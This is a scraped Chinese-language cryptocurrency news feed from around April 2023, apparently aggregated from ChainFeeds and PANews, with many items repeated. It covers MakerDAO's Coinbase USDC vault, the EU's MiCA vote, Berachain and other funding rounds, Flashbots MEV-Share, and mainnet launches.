    MakerDAO 批准向 Coinbase 托管服务转入不超过 5 亿美元 USDC 以获取 2.6% 年化收益 据 CoinDesk 报道，加密借贷协议 MakerDAO 已批准为 Coinbase 托管服务开放一个现实资产（RWA）金库，并转入高达 5 亿美元的 USDC 稳定币。Coinbase 托管部门将为存款支付 2.6% 的年利息。此外，该提案禁止 Coinbase 对账户中的资产进行再抵押，包括借出、再投资或以其他方式使用。Coinbase 必须将代币保存在冷钱包中，MakerDAO 将能够在 24 小时内从金库中提取资金，冷钱包中的资金将获得高达 5 亿美元的保额。 内容来源  ( 27 min )
    Coinbase CEO：美国需要对加密中心化参与者明确监管，将为此而斗争
    Coinbase CEO：美国需要对加密中心化参与者明确监管，将为此而斗争 Coinbase 首席执行官 Brian Armstrong 发布推文表示，一整天都在华盛顿特区与国会议员会面，「出于消费者保护、国家安全和经济增长等多种原因，我们需要对加密领域的中心化参与者进行明确的监管。SEC 的强制监管政策给美国造成了难以估量的伤害，Coinbase 将为解决这个问题而斗争」。 内容来源  ( 2 min )
    Coinbase CEO：美国需要对加密中心化参与者明确监管，将为此而斗争
    Coinbase CEO：美国需要对加密中心化参与者明确监管，将为此而斗争 Coinbase 首席执行官 Brian Armstrong 发布推文表示，一整天都在华盛顿特区与国会议员会面，「出于消费者保护、国家安全和经济增长等多种原因，我们需要对加密领域的中心化参与者进行明确的监管。SEC 的强制监管政策给美国造成了难以估量的伤害，Coinbase 将为解决这个问题而斗争」。 内容来源  ( 2 min )
    隐私网络 Iron Fish 主网正式上线
    隐私网络 Iron Fish 主网正式上线 隐私网络 Iron Fish 宣布正式上线主网，Iron Fish 是新的 PoW L1，其目标是使 Web3 变得安全 —— 在阻止不良行为者的同时实现金融隐私。Iron Fish 上每一笔交易都用 ZKP 完全加密进行验证。用户可以托管节点、挖矿、铸造完全加密的自定义资产、销毁和转移资产。Iron Fish 还表示，在测试网阶段，Iron Fish 社区的成就如下：Discord 人数达到 4.8 万；完成超过 5000 万笔交易，托管数万个全节点（Phase 3 超过 6 万个）。 内容来源  ( 2 min )
    隐私网络 Iron Fish 主网正式上线
    隐私网络 Iron Fish 主网正式上线 隐私网络 Iron Fish 宣布正式上线主网，Iron Fish 是新的 PoW L1，其目标是使 Web3 变得安全 —— 在阻止不良行为者的同时实现金融隐私。Iron Fish 上每一笔交易都用 ZKP 完全加密进行验证。用户可以托管节点、挖矿、铸造完全加密的自定义资产、销毁和转移资产。Iron Fish 还表示，在测试网阶段，Iron Fish 社区的成就如下：Discord 人数达到 4.8 万；完成超过 5000 万笔交易，托管数万个全节点（Phase 3 超过 6 万个）。 内容来源  ( 2 min )
    Layer1 公链 Berachain 完成 4200 万美元融资，Polychain Capital 领投
    Layer1 公链 Berachain 完成 4200 万美元融资，Polychain Capital 领投 Layer1 公链 Berachain 宣布完成 4200 万美元融资，Polychain Capital 领投，OKX Ventures、Hack VC、Dao5、Tribe Capital、Shima Capital、Robot Ventures、Goldentree Asset Management、Dragonfly Capital 前合伙人、Celestia 创始人 Mustafa Al-Bassam、Tendermint 联合创始人 Zaki Manian 及其他 20 名 DeFi 项目创始人参投。据其联合创始人 Smokey the Bera 表示，Berachain 预计将在未来几周内发布一个公共激励测试网，并有可能在今年晚些时候发布主网。此外，Berachain 代币也将主网一起推出，该轮融资的投资者将获得原生 BERA 代币。 据 The Block 介绍，Berachain 是一个基于 Cosmos SDK 构建的兼容 EVM 的 Layer 1 区块链，自 2021 年底以来一直处于开发阶段，旨在允许用户将代币进行质押并为 DeFi 协议提供流动资金。Berachain 采用 Proof of Liquidity 共识机制，并将与以太坊虚拟机兼容。Berachain 代币经济包括一个原生 Gas 代币 BERA、原生稳定币 honey 和 Bera 治理代币 BGT。 内容来源  ( 226 min )
    Layer1 公链 Berachain 完成 4200 万美元融资，Polychain Capital 领投
    Layer1 公链 Berachain 完成 4200 万美元融资，Polychain Capital 领投 Layer1 公链 Berachain 宣布完成 4200 万美元融资，Polychain Capital 领投，OKX Ventures、Hack VC、Dao5、Tribe Capital、Shima Capital、Robot Ventures、Goldentree Asset Management、Dragonfly Capital 前合伙人、Celestia 创始人 Mustafa Al-Bassam、Tendermint 联合创始人 Zaki Manian 及其他 20 名 DeFi 项目创始人参投。据其联合创始人 Smokey the Bera 表示，Berachain 预计将在未来几周内发布一个公共激励测试网，并有可能在今年晚些时候发布主网。此外，Berachain 代币也将主网一起推出，该轮融资的投资者将获得原生 BERA 代币。 据 The Block 介绍，Berachain 是一个基于 Cosmos SDK 构建的兼容 EVM 的 Layer 1 区块链，自 2021 年底以来一直处于开发阶段，旨在允许用户将代币进行质押并为 DeFi 协议提供流动资金。Berachain 采用 Proof of Liquidity 共识机制，并将与以太坊虚拟机兼容。Berachain 代币经济包括一个原生 Gas 代币 BERA、原生稳定币 honey 和 Bera 治理代币 BGT。 内容来源  ( 226 min )
    CZ：计划在未来 12 至 18 个月内对币安业务进行调整以使其处于完全合规的状态
    CZ：计划在未来 12 至 18 个月内对币安业务进行调整以使其处于完全合规的状态 币安首席执行官 CZ 发布推特称，「欧洲议会投票支持 MiCA 的实施，这这意味着世界上最大的市场之一正在为加密货币引入定制法规，以保护用户并支持创新。细节很重要，但总体而言，这是一个务实的解决方案，能够解决我们共同面临的挑战。对于在欧盟运营的加密货币交易所，现在有明确的游戏规则。我们已经准备好在未来 12 至 18 个月内对我们的业务进行调整以使其处于完全合规的状态。」 内容来源  ( 2 min )
    CZ：计划在未来 12 至 18 个月内对币安业务进行调整以使其处于完全合规的状态
    CZ：计划在未来 12 至 18 个月内对币安业务进行调整以使其处于完全合规的状态 币安首席执行官 CZ 发布推特称，「欧洲议会投票支持 MiCA 的实施，这这意味着世界上最大的市场之一正在为加密货币引入定制法规，以保护用户并支持创新。细节很重要，但总体而言，这是一个务实的解决方案，能够解决我们共同面临的挑战。对于在欧盟运营的加密货币交易所，现在有明确的游戏规则。我们已经准备好在未来 12 至 18 个月内对我们的业务进行调整以使其处于完全合规的状态。」 内容来源  ( 2 min )
    以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会
    以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会 以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会。以太坊基金会表示，过去几个月里土耳其以太坊社区也为推广伊斯坦布尔做出了努力。伊斯坦布尔作为东西方桥梁的独特地位，可进入性是一个关键事项，大部分国家与会者获得签证将相对容易。且伊斯坦布尔高效的当地交通及大量适合社区活动的场所，使其成为举办 Devconnect 2023 的完美地点。 据以太坊基金会介绍，Devconnect 是一个为期一周的聚会，以独立的以太坊活动为特色，每个活动都有一个独特的重点。其目的是专注于特定主题的深入会议，并将以太坊社区以较小的团体形式聚集在一起，讨论、学习并在特定主题上取得进展。 内容来源 观点： ChainFeeds：Devconnect 大会网站：https://devconnect.org/ 内容来源  ( 7 min )
    以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会
    以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会 以太坊基金会计划于今年 11 月 13 日 至 19 日在伊斯坦布尔举办 Devconnect 大会。以太坊基金会表示，过去几个月里土耳其以太坊社区也为推广伊斯坦布尔做出了努力。伊斯坦布尔作为东西方桥梁的独特地位，可进入性是一个关键事项，大部分国家与会者获得签证将相对容易。且伊斯坦布尔高效的当地交通及大量适合社区活动的场所，使其成为举办 Devconnect 2023 的完美地点。 据以太坊基金会介绍，Devconnect 是一个为期一周的聚会，以独立的以太坊活动为特色，每个活动都有一个独特的重点。其目的是专注于特定主题的深入会议，并将以太坊社区以较小的团体形式聚集在一起，讨论、学习并在特定主题上取得进展。 内容来源 观点： ChainFeeds：Devconnect 大会网站：https://devconnect.org/ 内容来源  ( 7 min )
    Flashbots 推出 MEV-Share 协议测试版，以将部分最大可提取价值利润分配给以太坊用户
    Flashbots 推出 MEV-Share 协议测试版，以将部分最大可提取价值利润分配给以太坊用户 以太坊基础设施服务商 Flashbots 宣布推出 MEV-Share 协议测试版，旨在将部分最大可提取价值利润分配给以太坊用户。根据一份声明，MEV-Share 协议被纳入 Flashbots Protect，Flashbots Protect 是一种可以与用户钱包集成的远程过程调用 (RPC) 工具，旨在抵御试图通过抢先用户交易获取利润的机器人。Flashbots 团队声称通过 MEV-Share，用户有能力调整隐私设置和管理订单流共享，同时有选择地与操作 MEV 机器人的搜索者共享交易信息，因此用户能够在保持隐私的情况下有资格获得「MEV 再分配奖励」。此外，在测试阶段技术评估完成后，Flashbots 计划在未来将 MEV-Share 代码作为开放源代码发布。 内容来源 观点： Shea Ketsdever：用户应该决定如何、何时及由谁来执行他们的交易，这能够让他们内部化 MEV，并将很快被纳入链上。MEV-Share 是一个无需权限的协议，用于在用户和搜索者之间共享订单流，且是基于可编程隐私上的。此外，Flashbots 正在发布 Flashbots Matchmaker，这是一项实现 MEV-Share 协议的服务。Flashbots 也在尝试与其他区块构建者安全共享订单流的方法。【原文为英文】 内容来源  ( 227 min )
    Flashbots 推出 MEV-Share 协议测试版，以将部分最大可提取价值利润分配给以太坊用户
    Flashbots 推出 MEV-Share 协议测试版，以将部分最大可提取价值利润分配给以太坊用户 以太坊基础设施服务商 Flashbots 宣布推出 MEV-Share 协议测试版，旨在将部分最大可提取价值利润分配给以太坊用户。根据一份声明，MEV-Share 协议被纳入 Flashbots Protect，Flashbots Protect 是一种可以与用户钱包集成的远程过程调用 (RPC) 工具，旨在抵御试图通过抢先用户交易获取利润的机器人。Flashbots 团队声称通过 MEV-Share，用户有能力调整隐私设置和管理订单流共享，同时有选择地与操作 MEV 机器人的搜索者共享交易信息，因此用户能够在保持隐私的情况下有资格获得「MEV 再分配奖励」。此外，在测试阶段技术评估完成后，Flashbots 计划在未来将 MEV-Share 代码作为开放源代码发布。 内容来源 观点： Shea Ketsdever：用户应该决定如何、何时及由谁来执行他们的交易，这能够让他们内部化 MEV，并将很快被纳入链上。MEV-Share 是一个无需权限的协议，用于在用户和搜索者之间共享订单流，且是基于可编程隐私上的。此外，Flashbots 正在发布 Flashbots Matchmaker，这是一项实现 MEV-Share 协议的服务。Flashbots 也在尝试与其他区块构建者安全共享订单流的方法。【原文为英文】 内容来源  ( 227 min )

  • Open

    Coinbase CEO：美国中心化加密交易所需要明确监管，将为此而斗争
    PANews 4月21日消息，Coinbase首席执行官Brian Armstrong推特发文称，一整天都在华盛顿特区与国会议员会面。出于消费者保护、国家安全和经济增长等多种原因，美国需要对加密领域的中心化参与者进行明确的监管。美国证交会（SEC）的强制监管政策给美国造成了难以估量的伤害。我们将为解决这个问题而斗争。  ( 1 min )
    Meta计划在英国裁员10%，Instagram伦敦中心将关闭
    PANews 4月21日消息，据英国金融时报报道，Meta计划裁减逾10%的英国员工，并放弃Instagram在伦敦的中心。周三发给员工的一份内部文件显示，将至少裁撤687个职位，主要位于伦敦，而在英国约5000名员工中，还有更多人面临裁员风险。受裁员影响最大的为伦敦的Instagram团队，250个工作岗位将被裁减，其余员工将有机会迁往纽约。裁员还将影响WhatsApp和Facebook等应用程序的约55个工作岗位，以及Reality Labs以及人工智能团队的近60个工作岗位。  ( 1 min )
    MakerDAO批准向Coinbase托管服务转入5亿美元USDC，年收益率为2.6%
    PANews 4月21日消息，周四结束的一项投票显示，MakerDAO批准为Coinbase托管服务开放一个现实资产(RWA)金库，并转入高达5亿美元的USDC稳定币。该提案获得了84%的支持。Maker治理论坛上的一篇相关文章称，Coinbase托管部门将为存款支付2.6%的年利息。该提案禁止Coinbase对账户中的资产进行再抵押，包括借出、再投资或以其他方式使用。Coinbase必须将代币保存在冷钱包中，Maker将能够在24小时内从金库中提取资金，冷钱包中的资金将获得高达5亿美元的保额。据此前消息，MakerDAO批准了“MIP 81”提案，MakerDAO将向Coinbase托管服务转入高达16亿美元的USDC，以获得1.5%的年收益率。  ( 1 min )
    美国SEC建议投资顾问在推荐加密货币时加强审查
    PANews 4月21日消息，据CoinDesk报道，美国证券交易委员会(SEC)在一份新公告中表示，建议经纪人和投资顾问在推荐加密货币时应加强审查，以确保风险产品符合客户的最佳利益。周四发布的员工公告概述了顾问对客户的职责，其中特别提到了加密货币。根据SEC的指导意见，“某些产品更加复杂或具有额外的风险特征，可能使金融专业人员更难以理解。“加密资产证券”就属于此类产品。因此，当经纪人或顾问与客户谈论加密货币时，顾问必须确保客户了解这些产品，且推荐的加密产品应适合客户的特定财务状况。今年2月，SEC还提出一项规定，要求在该机构注册的投资顾问必须将客户的加密资产交给“合格的托管人”保管。在SEC看来，这通常意味着将资产保存在特许银行或信托公司或在该机构注册的经纪交易商那里。  ( 1 min )
    2023以太坊Devconnect大会将于11月在伊斯坦布尔举行
    PANews 4月20日消息，以太坊基金会发布博客文章表示，计划于今年 11 月 13 日至 19 日在土耳其伊斯坦布尔举行 Devconnect 大会，为期一周。Devconnect 在结构上与 Devcon 完全不同，由许多单独的活动组成，由社区组织，每个活动深入探讨一个主题。 以太坊基金会表示，选择伊斯坦布尔作为 Devconnect 2023 的主办城市的主要原因是，伊斯坦布尔作为东西方桥梁的独特地位，交通便利，而且当地社区和众多学生区块链俱乐部比较丰富，另外，伊斯坦布尔独特的历史、文化和现代融合将为全球以太坊开发者社区提供一个好的环境，并推动以太坊的创新。  ( 1 min )
    Flashbots推出MEV-Share测试版，以与以太坊用户分配抢跑收益
    PANews 4月20日消息，据The Block报道，以太坊基础设施服务 Flashbots 推出 MEV-Share 协议的测试版，旨在将最大可提取价值（MEV）收益的一部分分配给以太坊用户。MEV-Share 协议包含在 Flashbots Protect 中，Flashbots Protect 是一种可以与用户钱包集成的远程过程调用 (RPC) 工具，旨在抵御试图通过抢先用户交易获取利润的机器人。Flashbots 计划在未来将 MEV-Share 代码作为开源代码发布。 相关阅读：Flashbots：与MEV危机赛跑  ( 1 min )
    PA日报｜欧盟加密法规MiCA获议会通过；Sui将于5月3日正式启动主网
    今日要闻提示： 欧盟议会批准首个欧盟范围内的加密货币法规MiCA Helium网络已完成向Solana网络迁移 公链项目Sui将于5月3日正式启动主网 法国兴业银行在以太坊上推出与欧元挂钩的稳定币 公链项目Shardeum公布代币经济模型，51%将作为节点奖励 a16z Crypto推出OP Stack rollup客户端Magi，旨在成为op-node可行替代方案 Voyager债权人已和美国政府达成推进Binance.US交易的决议 Tornado Cash开发者Alexey Pertsev将于4月26日被释放 监管消息 欧盟议会批准首个欧盟范围内的加密货币法规MiCA 欧盟立法者周四以 517-38 票赞成新的加密货币许可制度 MiCA，有 18 票缺席，使其成为世界上第一个引入全面加密法的主要司法管辖区。欧洲议会还以 529 票对 29 票赞成一项名为“资金转移条例”的单独法律，该条例要求加密货币运营商识别其客户以制止洗钱，14 票弃权。 NFT NFT项目Memeland或即将推出MEME代币 9GAG旗下的NFT项目Memeland发推文称：“你们正在购买 meme coins。我们正在建造Meme Coin(@memecoin)。”据悉，Meme Coin推特帐户(@memecoin) 于2022年4月创建，并于9小时前发布首条推文“万meme之主 (One $meme to rule them all)”。 据悉，MEME是一个支持创作者的代币，将用于Memeland构建的多个SocialFi产品中，此前Memeland已公开表示会在2023年推出该代币。 ParaSpace将从5月1日起引入费用：APE质押收取3%，所有借贷利息收取10% 据官方博客，NFT借贷协议ParaSpace宣布将从5月1日开始引入费用。其中对于APE质押将收取3%的费用，该费用将在Claim奖励以复利时收取，主要用于支付其用于自动复利（auto-compounding）用户APE奖励的Gas成本。如果从APE质押费用中产生利润，ParaSpace将通过支持社区建设者、赞助社区驱动的活动、赠品等形式将50%的利润重新返还给Yuga生态系统。 对于借贷，将在所有借贷利息中收取10%的平台费用。新的10%的平台费用(协议收入)将用于支付智能合约安全维护、新员工、运营和营销。 项目动态 SpaceX星舰发射任务失败 SpaceX的星舰和推进器未能分离。SpaceX表示，星舰的试飞似乎还不够令人满意，星舰飞船发生了非计划内的解体。团队将继续审查数据并为下一次飞行测试努力。 马斯克发推暗示，下一次发射将在几个月后。 Helium网络已完成向Solana网络迁移 据官方公告，Helium网络已完成向Solana网络迁移。此次升级对Helium实施几项技术更改，包括添加智能合约功能、引入动态市场以按需分配奖励、降低交易成本、直接访问DeFi功能、获得更大的全球开发者社区、网络功能转至预言机可提升网络效率、兼容Solana程序库 (SPL) 、HNT代币功能变化、投票和治理的变化等。 其中，关于HNT代币功能变化，当前的原生代币HNT将不再由LoRaWAN热点开采，取而代之的是开采IOT，IOT作为Helium IoT网络的激励和治理代币；HNT仍将是使用网络的独家代币；HNT仍将被燃烧以获得数据积分 (DC)。IoT和5G子网都将通过不同的独立治理进行定价。 关于投票和治理的变化，Helium治理模型将从纯粹的HNT加权投票转向加权投票模型，该模型通过投票托管系统使长期合作伙伴受益。这不仅将权力转移给了那些对网络健康有长远看法的人，而且还为委托原生Helium代币提供了收益。它还支持对IoT和5G网络进行独立治理。 公链项目Sui将于5月3日正式启动主网 据官方推特，公链项目Sui Network宣布主网将于2023年5月3日正式启动。 今日晚些时候消息，Sui将为18万账户随机分配9.6万个白名单资格，中签者今日起将收到邮件。 数据：针对Meme币的某MEV机器人使用“三明治攻击”获利超140万美元 据Cointelegraph报道，NFT数据和研究平台Sealaunch监测到，名为jaredfromsubway.eth的MEV机器人在近日对WOJAK和PEPE等Meme币的买卖双方执行“三明治攻击”获利超140万美元。此外，Sealaunch表示在4月18日至19日的24小时内，MEV机器人花费了以太坊Gas费的7%。 据悉，三明治攻击发生在攻击者将受害者的交易“夹在”自己的两笔交易之间，以操纵价格从用户身上获利。 法国兴业银行在以太坊上推出与欧元挂钩的稳定币 据Cointelegraph报道，法国兴业银行宣布针对机构客户推出与欧元挂钩的稳定币EUR CoinVertible，该稳定币基于以太坊，将以“EURCV”代码进行交易，仅提供给该行通过其现有的KYC客户和反洗钱程序加入的投资者。首席执行官Jean-Marc Stenger表示，在未来几周内，法国兴业银行将评估潜在客户的兴趣并回答他们的问题以逐步采用。 法国兴业银行表示，EUR CoinVertible稳定币符合主要市场标准，包括被称为证券代币合规架构（CAST）的开源互操作性和证券化框架。该公司强调，它将确保支持稳定币价值的抵押资产与发行方“完全隔离”，并将提供每日透明度报告和抵押品头寸。该稳定币智能合约已由普华永道（PwC）审计。对于发行稳定币，SG-Forge已获得律师事务所White&Case的建议。 公链项目Shardeum公布代币经济模型，51%将作为节点奖励 公链项目Shardeum公布代币经济模型，其SHM代币的49%将分配给基金会、生态系统、团队和销售账户，剩余51%将作为节点奖励。 主网启动时，基金会将收到总供应量5.08亿枚SHM代币的11%，生态系统将收到5%，主网启动后3个月团队和销售账户的代币才开始分期释放，分别占 代币总供应量的15%和18%。 据悉，Shardeum由币安旗下印度加密交易所WazirX联合创始人Nischal Shetty创建，是使用分片技术的Layer 1区块链网络，目前采用测试网形式，旨在提供低交易费用。 去中心化社交项目Bluesky发布安卓测试版APP 据The Verge报道，由Twitter创始人Jack Dorsey资助的去中心化社交项目Bluesky（AT协议）发布安卓版应用程序，目前仅有2万5千名测试用户，新用户需要加入等候名单或从好友处获取邀请码才可使用该APP。 此外，Bluesky现有版本仍缺少些许功能，用户可能无法从其他社交网络导入关注列表，且它仍然缺少直接发送私聊消息等基本功能。 此前3月消息，Bluesky已在App Store中发布邀请测试版。 Deribit将于4月24日推出零费用现货交易 据The Block报道，加密期权交易平台Deribit宣布将于4月24日推出零费用现货交易，Deribit首席商务官Luuk Strijers表示：“过去几个月，我们一直致力于现货交易解决方案的实施。我们现在能够为客户提供全方位的交易机会，包括衍生品和现货交易。” 在推出时，Deribit将提供三对现货交易：BTC/USDC, ETH/USDC和ETH/BTC。Strijers表示，该平台可能会上线更多的代币，但零费用不会长期持续下去。他说，自由交易将在“可预见的未来”存在。 a16z Crypto推出OP Stack rollup客户端Magi，旨在成为op-node可行替代方案 据官方博客，a16z Crypto宣布推出新的Optimism Stack rollup客户端Magi。Magi是一个用Rust开发的OP Stack rollup客户端，Magi执行与参考实现(OP-node)相同的核心功能，并与执行节点(如OP-geth)一起工作，以同步到任何OP Stack链，包括Optimism和Base。因为执行端和共识端都需要客户端多样性，但到目前为止，大部分开发都集中在执行端。Magi的目标是成为op-node的独立开发的直接替代品，增加rollup的客户端多样性。 Magi可能需要数月的开发时间才能成为op-node的可行替代方案。a16z Crypto计划在不久的将来添加的一些功能和改进：1.跟踪未确认的块以降低延迟、可提高初始同步速度的新的同步机制、支持替代数据可用性层、用于测试Magi及op-node和任何未来客户端的更好框架。 去中心化身份协议SPACE ID与公链Sei合作，或将推出.sei域名服务 据官方推特，去中心化身份协议SPACE ID与Layer1公链Sei Network达成合作，Sei发文“Soon.sei”暗示或将推出.sei域名服务。 Voyager债权人已和美国政府达成推进Binance.US交易的决议 据Voyager无担保债权人委员会在社交媒体披露，Voyager无担保债权人委员会（UCC）已经和美国政府达成了一项决议，将允许Binance.US收购交易计划向前推进并推动快速生效。该决议体现在一项联合规定中，规定上诉将继续针对该计划的免责条款，美国政府已同意该计划可以在没有此类规定的情况下向前推进交易，并且不会以其他方式中止。Voyager、以及Voyager无担保债权人委员会正在和Binance.US进行合作，以便在地区法院批准该规定后尽快推进交易。 美国法官同意将BlockFi提交重组计划截止日期延长至5月15日 据Coingape报道，周三，美国新泽西州破产法官将加密借贷公司BlockFi Inc.提交其第11章或重组计划的截止日期延长至5月15日。法官表示，为了保证案件继续顺利运行，短暂的延迟是值得的。 据报道，在听证会上，BlockFi的律师Joshua Sussberg将其称为“适度”延期，并表示该公司将在两周内准备一份计划，供无担保债权人评估。美国破产法官Michael B. Kaplan指出，该计划将面临“不同寻常的”法律和监管困难；他希望避免在处理各种计划申请时“浪费金钱和精力”。 首个购入PEPE的地址已于5天前被开发者列入黑名单 链上观察员0xBobie发推文称，首个购入PEPE的地址5天前被开发者列入了黑名单。0xBobie猜测PEPE开发者将被视为机器人的地址列入黑名单。 上述列入黑名单的交易哈希为0xb162f87a3f4eb22f06573049967187fedbcd33a34a99c740dd98c261ce207e21。该地址为0xAf2358e98683265cBd3a48509123d390dDf54534。 Tornado Cash开发者Alexey Pertsev将于4月26日被释放 Pertsev的妻子Ksenia Malik向The Block确认Alex将于4月26日在家过生日。但会带着脚踝监视器。该案的进一步调查听证会将于5月24日举行。 FTX US前总裁将推出期货和加密货币交易平台 FTX US前总裁Brett Harrison旗下公司Architect Financial Technologies将推出一个新的交易平台，供机构投资者交易期货和加密资产。该平台还将与StoneX Group Inc.和Wedbush Financial services LLC合作，提供期货交易清算服务。此外，新平台计划利用包括Wintermute和Galaxy Digital在内的几家加密做市商，支持场外交易。据悉，该平台不会为客户管理或交易基金。它的主要作用是通过其软件将用户连接到加密货币和期货市场系统。 微软与Space and Time合作为Azure Cloud添加实时区块链数据 据CoinDesk报道，微软与去中心化数据平台 Space and Time 合作，通过 Microsoft Azure Marketplace 向开发人员提供实时区块链数据。通过 Azure 市场的一键式部署，开发人员能够访问、管理和分析区块链数据。企业可以在不改造现有技术架构的情况下开发区块链。 融资消息 Berachain完成4200万美元融资，Polychain Capital领投 Layer1 公链 Berachain 完成 4200 万美元私募代币融资，Polychain Capital 领投，OKX Ventures、Hack VC、Dao5、Tribe Capital、Shima Capital、Robot Ventures、Goldentree Asset Management、Dragonfly Capital 前合伙人、Celestia 创始人 Mustafa Al-Bassam、Tendermint 联合创始人 Zaki Manian 以及其他 20 名 DeFi 项目创始人参投。Berachain 网络基于 Cosmos SDK 构建，并将与 EVM 兼容。 Berachain 目前作为开发网络 (devnet) 提供，预计将在未来几周内发布公共激励测试网，并可能在今年晚些时候发布主网。 质押提供商P2P.org完成2300万美元融资 据CoinDesk报道，质押提供商 P2P.org 已从三位加密行业重量级人物那里筹集了 2300 万美元的资金：Web3 投资者 Jump Crypto、加密交易所 Bybit 和数字资产银行 Sygnum。P2P 表示将利用这笔资金开发区块链基础设施，以增强用户在抵押以及研究和开发扩展计划方面的体验。 英国链上保险公司Nayms完成1200万美元融资，UDHC领投 英国链上保险公司 Nayms 宣布以 8000 万美元的估值完成了 1200 万美元的私募融资，UDHC 领投，New Form、Tokentus 和 Keyrock 等参投。Nayms 将使用新资金扩大其全球团队并加速其加密原生保险市场的发展。Nayms 计划进一步支持其产品开发、营销并加速全球业务扩张。 Karate Combat完成1800万美元融资用于加密驱动的武术 据Decrypt报道，用于构建 Web3、混合现实体育直播的应用程序Karate Combat完成1800万美元融资用于加密驱动的武术。Bitkraft Ventures 领投，Delphi Digital、The Operating Group、Alpha Wave Global、Hashkey、Lattice、M13、Santiago Santos、RooxieXBT 等参投。该轮融资将支持 5 月 10 日在以太坊和 Hedera 网络上推出的Karate Combat应用程序和联盟的 $KARATE 代币。 Karate Combat的结构是一个去中心化的自治组织(DAO)，粉丝可以通过应用程序和观看比赛赚取 $KARATE。目标是奖励联盟最活跃的球迷并将体验游戏化。 Web3数据管理工具开发公司Fluree完成1000万美元A轮融资 据VentureBeat报道，Web3数据管理工具开发公司Fluree宣布完成1000万美元A轮融资，SineWave Ventures领投，其他投资者未披露。截至目前该公司的融资总金额已超过1600万美元。新资金将用于该公司继续建设其“以数据为中心的基础设施”，并协助企业将其遗留基础设施升级为协作式现代数据平台。 据悉，Fluree主要提供区块链支持的语义图形数据库，帮助企业管理数据资产，通过结合许可区块链技术、语义Web标准和数据安全策略控制，让开发人员以去中心化和可信的格式存储和管理数据。 矿业消息 比特小鹿2022年总收入为3.333亿美元，净亏损为6040万美元 据官网消息，吴忌寒旗下矿业公司比特小鹿Bitdeer发布2022年全年财务业绩和运营更新报告。根据该报告，截至2022年12月31日，Bitdeer 2022年总收入为3.333亿美元，较2021年的3.947已美元下降15.5%，主要是由于专有挖矿、矿机销售和云算力产生的收入减少，部分被三种托管服务产生的收入增加所抵消，这部分是由公司挖矿数据中心业务的扩张所推动的。 此外，2022年净亏损为6040万美元，而2021年净利润为8260万美元。2022年12月31日，公司管理算力为14 EH/s，比截至2021年12月31日的8.1EH/s增长了72.8%。截至2022年12月31日，电力容量为775MW，比截至2021年12月31日的402MW增长92.8%。 重要数据 数据：某休眠超9年的地址今日凌晨转出6071枚BTC，约合1.78亿美元 据Whale Alert数据监测，匿名比特币地址休眠超9年后被激活，于今日00:45:17转出6071枚比特币（约1.78亿美元），2013年当年价值3,362,853美元，目前浮盈约53倍。 数据：比特币挖矿难度上调1.7%至48.72 T，再创历史新高 比特币挖矿难度在区块高度786240处(今日17:57:33)迎来了挖矿难度调整，目前全网平均算力为355.32EH/s。  ( 4 min )
    去中心化数据库Tableland完成800万美元A轮融资，CoinFund领投
    PANews 4月20日消息，据CoinDesk报道，去中心化云数据库公司 Tableland 筹集了 800 万美元的 A 轮融资，由专注于加密货币的投资公司 CoinFund 领投。该轮的其他投资者包括 Multicoin Capital、Blueyard 和 A Capital。Tableland 的总资金目前为 1040 万美元。这些资金将帮助支持 Tableland 的主网启动、新开发人员工具的发布以及 Tableland Studio 在今年晚些时候的首次亮相。  ( 2 min )
    SpaceX星舰发射任务失败
    PANews 4月20日消息，SpaceX的星舰和推进器未能分离。SpaceX表示，星舰的试飞似乎还不够令人满意，星舰飞船发生了非计划内的解体。团队将继续审查数据并为下一次飞行测试努力。 马斯克发推暗示，下一次发射将在几个月后。  ( 1 min )
    隐私网络Iron Fish推出其主网，将于今日24时正式启动
    PANews 4月20日消息，据The Block报道，隐私公链 Iron Fish 现已推出其主网，主网将于北京时间今日24时正式启动。Iron Fish 区块链实现了零知识证明，允许用户在不影响可访问性的情况下进行私密交易。 上月底，IronFish公布其代币经济学：创世块将释放4200万枚代币。此外，符合条件的 Iron Fish 测试网用户将于4月21日获得空投。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.20）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Berachain完成4200万美元融资，Polychain Capital领投
    PANews 4月20日消息，据The Block报道，Layer1 公链 Berachain 完成 4200 万美元私募代币融资，Polychain Capital 领投，OKX Ventures、Hack VC、Dao5、Tribe Capital、Shima Capital、Robot Ventures、Goldentree Asset Management、Dragonfly Capital 前合伙人、Celestia 创始人 Mustafa Al-Bassam、Tendermint 联合创始人 Zaki Manian 以及其他 20 名 DeFi 项目创始人参投。Berachain 网络基于 Cosmos SDK 构建，并将与 EVM 兼容。 Berachain 目前作为开发网络 (devnet) 提供，预计将在未来几周内发布公共激励测试网，并可能在今年晚些时候发布主网。 相关阅读：Berachain：采用三币模型的DeFi原生公链  ( 2 min )
    质押提供商P2P.org完成2300万美元融资
    PANews 4月20日消息，据CoinDesk报道，质押提供商 P2P.org 已从三位加密行业重量级人物那里筹集了 2300 万美元的资金：Web3 投资者 Jump Crypto、加密交易所 Bybit 和数字资产银行 Sygnum。P2P 表示将利用这笔资金开发区块链基础设施，以增强用户在抵押以及研究和开发扩展计划方面的体验。  ( 1 min )
    前以太坊矿商CoreWeave完成2.21亿美元B轮融资，Magnetar Capital领投
    PANews 4月20日消息，据TechCrunch报道，正在从以太坊矿企过渡到通用云计算平台的公司 CoreWeave 宣布完成 2.21 亿美元 B 轮融资，Magnetar Capital 领投，英伟达、GitHub 前首席执行官 Nat Friedman 和苹果前高管 Daniel Gross 参投。Magnetar Capital 出资 1.11 亿美元，其余投资由英伟达、Friedman 以及 Gross 分摊。 CoreWeave 首席执行官 Mike Intrator 表示，这笔资金对 CoreWeave 的估值为 20 亿美元，使公司的总融资额达到 3.71 亿美元，将用于支持 CoreWeave 在美国的数据中心扩张，今年将开设两个新中心。CoreWeave 目前在北美运营着五家公司。  ( 2 min )
    英国链上保险公司Nayms完成1200万美元融资，UDHC领投
